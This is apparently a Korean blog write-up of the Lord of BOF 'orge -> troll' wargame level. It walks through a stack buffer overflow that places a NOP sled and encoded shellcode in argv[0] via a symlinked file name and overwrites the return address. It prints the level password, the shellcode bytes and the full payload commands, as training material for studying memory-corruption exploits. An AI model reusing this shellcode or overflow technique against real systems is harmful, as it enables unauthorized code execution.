LOB orge -> troll
ID : orge
Passwd : timewalker
접속해서 ls 명령어로 파일을 확인합니다.
cat 명령으로 code를 열어봅니다.
darkelf에서 추가됐던 argv[0] 길이 체크가 사라지고, argc가 2개 (파일명 + 인자), argv[1]을 초기화하네요.
그럼 argv[0]에 셸코드를 집어 넣어야 할 것 같습니다.
셸코드를 파일명으로 가지는 파일을 만듭니다.
그런데 잘 되지 않는다.
이유는 셸코드에 ‘\x2f’ 문자가 ‘/’로 인식돼 이상한 경로로 나뉘게 됩니다. 그래서 ‘\x2f’가 없는 셸코드를 써야합니다.
"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" 제가 쓴 셸코드는 이러합니다.
만들어졌네요.
그럼 파일명이 어디에 있을지 한번 찾아보겠습니다.
gdb로 파일을 열어봅니다.
저 부분을 string 형태로 보도록 하겠습니다.
셸코드 부분이 있네요. 저게 ret 명령을 수행할 때까지 존재하나 확인하기 위해 leave에 breakpoint를 걸겠습니다.
argv[0] 빼고는 다 초기화 된 모습입니다.
그럼 공격해보겠습니다.
payload : ./`python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python –c ‘print “A”*44 + “\x10\xfb\xff\xbf"’`
core 파일입니다. 열어보겠습니다.
그새 어디로 이사 했나 봅니다:( 앞쪽 부분을 보겠습니다.
찾았습니다. 적당하게 Return Address를 0xbffffa90으로 변조해서 원본 파일에 공격해보겠습니다.
아까와 동일하지만 NOP을 101개 박아준 원본 참조 파일을 만들겠습니다.
ln -s ../troll `python -c 'print "\x90"*101 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
payload : ./`python -c 'print "\x90"*101 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python –c ‘print “A”*44 + “\x90\xfa\xff\xbf"’`
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB vampire -> skeleton Write up (0) | 2017.10.11 |
---|---|
LOB troll -> vampire Write up (0) | 2017.10.10 |
LOB darkelf -> orge Write up (0) | 2017.10.09 |
LOB wolfman -> darkelf Write up (0) | 2017.10.07 |
LOB orc -> wolfman Write up (0) | 2017.10.07 |